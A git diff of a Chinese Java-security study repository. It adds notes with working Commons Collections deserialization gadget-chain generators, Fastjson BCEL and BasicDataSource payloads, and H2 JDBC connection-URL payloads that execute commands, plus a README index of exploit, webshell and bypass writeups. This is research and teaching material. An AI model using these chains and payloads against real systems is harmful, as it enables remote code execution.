diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" index 11b6ea4..be434f2 100644 --- "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" +++ "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" @@ -92,7 +92,7 @@ class文件固定的文件头，为固定值`0xcafebabe` ### constant_pool_count -这里是`0x00001e4` +这里是`0x0014` 常量池计数器的值等于常量池总数+1,注意的是`long`和`double`类型的常量池对象占用两个常量位 diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" new file mode 100644 index 0000000..e779561 Binary files /dev/null and "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/img/1.png" differ diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" new file mode 100644 index 0000000..5a06827 --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" @@ -0,0 +1,170 @@ +# 不用ChainedTransformer如何实现cc反序列化rce +今天有个朋友问了我这个问题，这里简单回答个这个问题 +虽然网上现在的CC链子都有这个但是我们仔细理解就能绕过了 +找一个Transformer，不受transform调用时输入的影响 +这里随便举个例子使用org.apache.commons.collections.functors.FactoryTransformer +![](./img/1.png) +这里调用了`this.iFactory.create()`,查看Factory的实现类有一个`org.apache.commons.collections.functors.InstantiateFactory` +这个类在调用create的时候可以帮助我们实例化任意类 +```java +public Object create() { + if (this.iConstructor == null) { + this.findConstructor(); + } + + try { + return this.iConstructor.newInstance(this.iArgs); + } catch (InstantiationException var2) { + throw new FunctorException("InstantiateFactory: InstantiationException", var2); + } catch (IllegalAccessException var3) { + throw new FunctorException("InstantiateFactory: Constructor must be public", var3); + } catch (InvocationTargetException var4) { + throw new FunctorException("InstantiateFactory: Constructor threw an exception", var4); + } + } +``` +还记得CC3么，使用TrAXFilter触发TemplatesImpl的例子(当然实际攻防环境下还可以使用其他类)，不过我们这里还是case by case +这里我随便用一个CC做改造，就以CC6为例吧 +```java +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.collections.functors.*; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + + +public class CommonsCollections6Y4 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + public byte[] getPayload() throws Exception { + + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evily4.class.getName()).toBytecode() + }); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + InstantiateFactory instantiateFactory = new InstantiateFactory(String.class); + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, factoryTransformer); + + TiedMapEntry tme = new TiedMapEntry(outerMap, "y4"); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + outerMap.remove("y4"); + + setFieldValue(instantiateFactory,"iClassToInstantiate",TrAXFilter.class); + setFieldValue(instantiateFactory,"iParamTypes",new Class[]{Templates.class}); + setFieldValue(instantiateFactory,"iArgs",new Object[]{obj}); + + + + + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + + return barr.toByteArray(); + } + + public static void main(String[] args) throws Exception{ + + } +} + +``` + +或者配合cc7的变体,这样transform的参数就可以是我们任意控制的了，具体为什么就不讲了，建议复习cc7 +```java + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Base64; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +public class CC7 { + public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception { + Field field=obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj,value); + } + public static void main(String[] args) throws Exception { + ClassPool classPool=ClassPool.getDefault(); + CtClass ctClass = classPool.get(evil.EvilTemplatesImpl.class.getName()); + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()}); + setFieldValue(templates, "_name", "HelloTemplatesImpl"); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + Constructor constructor = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class); + constructor.setAccessible(true); + InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer"); + + Map hashMap1 = new HashMap(); + Map hashMap2 = new HashMap(); + Map lazyMap1 = LazyMap.decorate(hashMap1, transformer); + lazyMap1.put("0", "yy"); + Map lazyMap2 = LazyMap.decorate(hashMap2, transformer); + lazyMap2.put("yy", templates); + + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 1); + + Field table = Class.forName("java.util.HashMap").getDeclaredField("table"); + table.setAccessible(true); + Object[] array = (Object[])table.get(hashMap1); + Object node = array[0]; + if(node == null){ + node = array[1]; + } + Field key = node.getClass().getDeclaredField("key"); + key.setAccessible(true); + key.set(node, templates); + + + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos= new ObjectOutputStream(baos); + oos.writeObject(hashtable); + System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + + ByteArrayInputStream bais=new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois=new ObjectInputStream(bais); + ois.readObject(); + } +} + + +``` diff --git "a/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" "b/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" index c121027..1cfc679 100644 --- "a/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" +++ "b/3.FastJson\344\270\223\345\214\272/\346\234\211\350\266\243Trick/FastJson Trick.md" @@ -1,6 +1,6 @@ # FastJson Trick.md -## parse调用parseObjetc +## parse调用parseObjetc从而触发setter Fastjson反序列化的时候所用的是Parse而不是ParseObject，这里就会有一个Trick，就是在原本的@type上再嵌套一层@type，并设置为 '@type':"com.alibaba.fastjson.JSONObject", @@ -23,4 +23,42 @@ Fastjson反序列化的时候所用的是Parse而不是ParseObject，这里就 ``` ## parse触发get另一种思路 https://mp.weixin.qq.com/s?__biz=MzAxNTg0ODU4OQ==&mid=2650358489&idx=1&sn=2d1f600da6f01b644544331a844139ae&chksm=83f0273bb487ae2d85984c541adc7a928bdca396aa6ad3c0c349e2ef044558539f2f7075ad1f&mpshare=1&scene=23&srcid=1123yB78GUjwHduKmaU9BGSa&sharer_sharetime=1637650532436&sharer_shareid=18ef5175242004180f2ee4dd9c244e8a#rd +``` +{ + { + "x":{ + "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "$$BCEL$$$l$8b$I$A$..." + } + }: "x" +} +``` +这里PoC结构上还有一个值得注意的地方在于， + +先是将 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 这一整段放到JSON Value的位置上，之后在外面又套了一层 "{}"。 +之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。 + + +## su18师傅分享的一种触发getter/setter思路 +``` +{ + "@type": "java.util.Currency", + "val": { + "currency": { + "abc": { + "@type": "java.util.Map", + "aaa": { + "@type": "org.su18.fastjson.common.Person", + "a": "s", + "age": 12, + "name": "su18" + } + } + } + } +} +``` diff --git "a/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" "b/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" index a0f6719..ebb0a95 100644 --- "a/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" +++ "b/3.FastJson\344\270\223\345\214\272/\350\241\245\345\205\205.md" @@ -4,7 +4,7 @@ -网上很多说法是与smartMatch去除下划线有关，但其实不太准确，在JavaBeanDeserializer里面维护了一个filedInfo对象，里面存了一些变量信息但是没有_bytecodes，原因是因为这个字段在方法当中没有set方法，并且没有get方法，当然多说一点在build JavaBeanInfo的时候，他会去遍历这个对象的所有方法，如果是set方法必须保证参数只能有一个，返回值要么是void要么是当前类对象，get方法则要求必须是一些集合类之类的 +在JavaBeanDeserializer里面维护了一个filedInfo对象，里面存了一些变量信息但是没有_bytecodes，原因是因为这个字段在方法当中没有set方法，并且没有get方法，当然多说一点在build JavaBeanInfo的时候，他会去遍历这个对象的所有方法，如果是set方法必须保证参数只能有一个，返回值要么是void要么是当前类对象，get方法则要求必须是一些集合类之类的 ``` Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() diff --git a/9.JDBC Attack/h2/index.md b/9.JDBC Attack/h2/index.md index e0f88a5..dccf558 100644 --- a/9.JDBC Attack/h2/index.md +++ b/9.JDBC Attack/h2/index.md @@ -19,7 +19,7 @@ spring.h2.console.setting.web-allow-others=true ![](img/2.png) -通过使用RUNSCRIPT命令，h2最终会调用org.h2.command.dml.RunScriptCommand#execute来执行邪恶的sql。 +通过使用RUNSCRIPT命令，h2最终会调用org.h2.command.dml.RunScriptCommand#execute来执行恶意的sql语句。 ![](img/3.png) @@ -51,26 +51,16 @@ private static boolean isGroovySource(String var0) { return var0.startsWith("//groovy") || var0.startsWith("@groovy"); } ``` - -但是也不是每个项目都有Groovy - +利用 ```java - public static void main(String[] args) throws Exception { - Class.forName("org.h2.Driver"); - - String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "java.lang.Runtime.getRuntime().exec('open -na Calculator')\n" + - "$$\n"; - Connection conn = DriverManager.getConnection(url); - conn.close(); - } +Class.forName("org.h2.Driver"); +String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x"; +String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'"; ``` +但是也不是每个项目都有Groovy，这时候可以使用js执行命令 -## 无其他依赖通过Javascript - ``` public static void main(String[] args) throws Exception { Class.forName("org.h2.Driver"); @@ -89,7 +79,7 @@ private static boolean isGroovySource(String var0) { com.h2database h2 -1.4.196 +1.4.197 ``` diff --git a/README.md b/README.md index fb09fb1..7b814d6 100644 --- a/README.md +++ b/README.md @@ -14,8 +14,6 @@

2021年10月18日，梦的开始

-
- ## 1.基础篇 - [Java反射](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E5%8F%8D%E5%B0%84/%E5%8F%8D%E5%B0%84.md) @@ -28,6 +26,7 @@ - [ClassLoader(类加载机制)](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6)/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6).md) - [SPI学习](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/SPI/SPI.md) - [JavaAgent](http://wjlshare.com/archives/1582) +- [Java9模块化特性](https://developer.aliyun.com/article/618778) - [JMX](https://zhuanlan.zhihu.com/p/166530442) - [JMX补充学习这哥们写的不错](https://github.com/ZhangZiSheng001/02-jmx-demo) - [JDWP远程执行命令](https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/) @@ -37,6 +36,10 @@ - [JSTL(看菜鸟教程即可)](https://www.runoob.com/jsp/jsp-jstl.html) - [JEP290基础概念](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md) - [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md) + - [XML 相关漏洞风险研究(关于XML结构方面的介绍可以看看这篇文章，浅显易懂)](https://evilpan.com/2024/06/02/xml-vulnerabilities/) + - [XML外部实体注入（XXE）攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/) + - [No-FTP:高版本JDK如何通过XXE-OOB读取多行文件(Windows)](https://y4tacker.github.io/2025/11/10/year/2025/11/No-FTP-%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87XXE-OOB%E8%AF%BB%E5%8F%96%E5%A4%9A%E8%A1%8C%E6%96%87%E4%BB%B6/) + - [绕过WAF保护的XXE(一些通用的流量混淆方式)](https://xz.aliyun.com/t/4059?accounttraceid=04ba92e87b2342b9a14daca5812cc52aoxob&time__1311=n4mx0DnDBiitiQo4GNulxU2nD9iBDc70ZAnYD) - [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md) - [低版本下Java文件系统00截断](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E4%BD%8E%E7%89%88%E6%9C%AC%E4%B8%8BJava%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F00%E6%88%AA%E6%96%AD/index.md) - [有趣的XSS之Normalize](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E6%9C%89%E8%B6%A3%E7%9A%84XSS%E4%B9%8BNormalize/index.md) @@ -48,6 +51,7 @@ 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings)，我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人，过了这么久看过网上很多文章还是觉得P牛写的更适合新人) +- [Java 反序列化取经路(强推)](https://su18.org/post/ysuserial/) - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) - [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections1/CommonsCollections1.md) - [CommonsCollections2笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections2/CommonsCollections2.md) @@ -57,6 +61,7 @@ - [CommonsCollections6-HashMap笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-HashMap/CommonsCollections6-HashMap.md) - [CommonsCollections6-Shiro1.2.4笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-Shiro1.2.4/CommonsCollections6-Shiro1.2.4.md) - [CommonsCollections7笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections7/CommonsCollections7.md) +- [CommonCollectionsWithoutChainedTransformer](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonCollectionsWithoutChainedTransformer/index.md) - [使用TemplatesImpl改造CommonsCollections2](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2.md) - [网上看到的套娃CommonsCollections11](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections11/CommonsCollections11.md) - [CommonsBeanutils1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md) @@ -73,8 +78,10 @@ - [JDK7u21](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/JDK7u21/index.md) - [AspectJWeaver写文件](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/AspectJWeaver/AspectJWeaver.md) - [反序列化在渗透测试当中值得关注的点](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%BD%93%E4%B8%AD%E5%80%BC%E5%BE%97%E5%85%B3%E6%B3%A8%E7%9A%84%E7%82%B9/index.md) +- [UTF-8 Overlong Encoding导致的安全问题(在绕过流量设备上非常有帮助)](https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg) - [构造java探测class反序列化gadget](https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA) - [对URLDNS探测class的补充(为什么本地明明没有这个类却有"DNS解析")](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/URLDNS%E6%8E%A2%E6%B5%8Bclass%E7%9A%84%E8%A1%A5%E5%85%85/index.md) +- [利用Swing构造反序列化SSRF/RCE(JDK CVE-2023-21939)](https://github.com/Y4Sec-Team/CVE-2023-21939) - Hessian反序列化 - [Hessian 反序列化知一二](https://su18.org/post/hessian/) @@ -91,6 +98,7 @@ - [Jackson原生反序列化Gadgets(实用)](https://xz.aliyun.com/t/12485#toc-5) - [Jackson构造过程会触发利用导致中断可通过重写类解决(附上demo学习)](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget/Jackson.txt(%E6%94%B9zip%E5%90%8E%E7%BC%80%E8%A7%A3%E5%8E%8B).txt) + - [从JSON1链中学习处理JACKSON链的不稳定性(使用JdkDynamicAopProxy让触发更稳定)](https://xz.aliyun.com/t/12846#toc-4) - Fastjson @@ -134,6 +142,9 @@ - 其他 - [Java JSON解析特性分析](https://javasec.org/javaweb/JSON/FEATURE.html) + - [黑盒判断目标的fastjson版本](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) + - [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson) + - [记一次 Fastjson Gadget 寻找](https://mp.weixin.qq.com/s/dJkZuf6Ho6EK71bbnXI0EA) ## 4.Weblogic专区(虽然也挖了一堆，暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) @@ -179,10 +190,11 @@ - [看不见的 Jsp-WebShell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA) - [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/) + - [Java安全攻防之Spring Cloud Gateway攻击Redis](https://mp.weixin.qq.com/s/6U1KaLrrtq2dxg55IYASFg) - Tools - - [一款支持高度自定义的 Java 内存马生成工具](https://github.com/pen4uin/java-memshell-generator) + - [一款支持高度自定义的 Java 内存马生成工具(配合这个学习别人的内存马构造)](https://github.com/pen4uin/java-memshell-generator) @@ -213,8 +225,8 @@ - [S2-032学习(清空_memberAccess当中excludedXXX限制通过构造函数调用/使用DefaultMemberAccess覆盖SecurityMemberAccess绕过限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-032%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-045学习(通过container获取全局共享的OgnlUtil实例来清除SecurityMemberAccess当中属性的限制)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-045%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - [S2-057学习(突破#context被删除限制，从attr作用域获取context对象)](https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/S2-057%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.md) - - +- [S2-066学习(变量覆盖的有趣的例子)](https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/) +- [S2-067学习](https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/) ## 8.关于Tomcat的一些小研究 @@ -252,6 +264,8 @@ - [Hive-RCE](https://github.com/Y4tacker/hue-hive-rce) - [2023BalckHat Asia上补充关于informix-sqli、db2、cloudspanner、avatica、snowflake的利用姿势](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) +- [JDBC利用链结合原生反序列化的思路](https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/) +- [JDBC Attack URL 绕过合集](https://mp.weixin.qq.com/s/lmoWKK41ZQzZOh-P26VUng) ## 10.关于JNDI的整理 @@ -266,35 +280,25 @@ ## 11.Spring - +- [浅谈SpringWeb请求解析过程(很不错的文章把低版本一些绕过的特性基本都提到了)](https://forum.butian.net/share/2214) +- [浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) - [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md) - - [低版本SpringBoot-SpEL表达式注入漏洞复现分析](https://y4tacker.github.io/2022/02/07/year/2022/2/%E4%BD%8E%E7%89%88%E6%9C%ACSpringBoot-SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/) - - [SpringCloud-SnakeYAML-RCE(高版本不可用)](https://y4tacker.github.io/2022/02/08/year/2022/2/SpringCloud-SnakeYAML-RCE/) - - [Spring Boot Vulnerability Exploit Check List](https://github.com/LandGrey/SpringBootVulExploit) - - [SSRF to Rce with Jolokia and Mbeans](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/SSRF%20to%20RCE%20with%20Jolokia%20and%20MBeans%20%E2%80%A2%20Think%20Love%20Share.pdf) - - [CVE-2022-22947 SpringCloudGateWay 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/CVE-2022-22947%20SpringCloudGateWay%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/index.md) - - [Spring Cloud Function-SPEL(利用面不大)](https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) - - [SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析](http://rui0.cn/archives/1158) - - [Spring Beans RCE分析(CVE-2022-22965)(我还是喜欢叫Spring4shell，自己懒得写了，这篇还可以，稍微注意下AccessLogValve这个类WBS)](https://xz.aliyun.com/t/11129) - - [Spring Data MongoDB SpEL表达式注入(CVE-2022-22980)(能看但是有些逻辑还是讲得很混乱总体而已还是好的作为参考即可)](https://xz.aliyun.com/t/11484) - - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) - - +- [Springboot devtools反序列化(难点在于secret的获取，当然比如有actuator端点暴露情况下就会变得容易)](https://novysodope.github.io/2022/05/11/77/) +- [浅谈Spring中的Controller参数的验证机制(注意Hibernate Validator的正确配置)](https://forum.butian.net/share/2538) ## 12.Shiro - [Shiro RememberMe 漏洞检测的探索之路(长亭的一些总结非常不错)](https://stack.chaitin.com/techblog/detail?id=39) - - [Shiro另类检测方式](http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/) - [浅谈Shiro执行任意反序列化gadget的方案](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/%E6%B5%85%E8%B0%88Shiro%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96gadget%E7%9A%84%E6%96%B9%E6%A1%88/index.md) - [CVE-2010-3863权限绕过(通过/./admin绕过/admin,/abc/../admin)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2010-3863%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) @@ -308,18 +312,18 @@ - [CVE-2020-13933特殊场景权限绕过(通过/unauthorize/%3b)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2020-13933%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) - [SpringBoot2.3.0下Shiro<=1.5.1权限绕过(通过/aa;/%2e%2e/unauthorize绕过对/unauthorize拦截，当然也可以不用目录穿越/;y4tacker/unauthorize也可以)](https://github.com/Y4tacker/JavaSec/tree/main/11.Spring/SpringBoot2.3.0%E4%B8%8BShiro%3C%3D1.5.1%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87) - [Spring-Shiro1.5.2 Bypass(通过/unauthorize/a%252Fa绕过对/unauthorize/*的权限限制)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Spring-Shiro1.5.2%20Bypass/index.md) +- [记一次 Shiro 的实战利用(突破限制shiro 550利用payload的长度，这种方式不能很好对抗检测文件落地，其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) + -这里再贴一个小笔记：`Class.forName`不支持原生类型，但其他类型都是ok。`Class.loadClass`不能加载原生类型和数组类型，其他类型也都ok ## 13.回显相关技术学习 - [通杀漏洞利用回显方法-linux平台](https://www.00theway.org/2020/01/17/java-god-s-eye/) - - [linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307) - [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348) - +- [半自动化挖掘request实现多种中间件回显](https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/) ## 14. JSPWebshell @@ -330,11 +334,9 @@ - [JspWebshell编码混淆篇(unicode和html实体编码那些就懒得写了技术性不强)](https://y4tacker.github.io/2022/11/27/year/2022/11/%E6%B5%85%E8%B0%88JspWebshell%E4%B9%8B%E7%BC%96%E7%A0%81/) - ## 15.Waf - 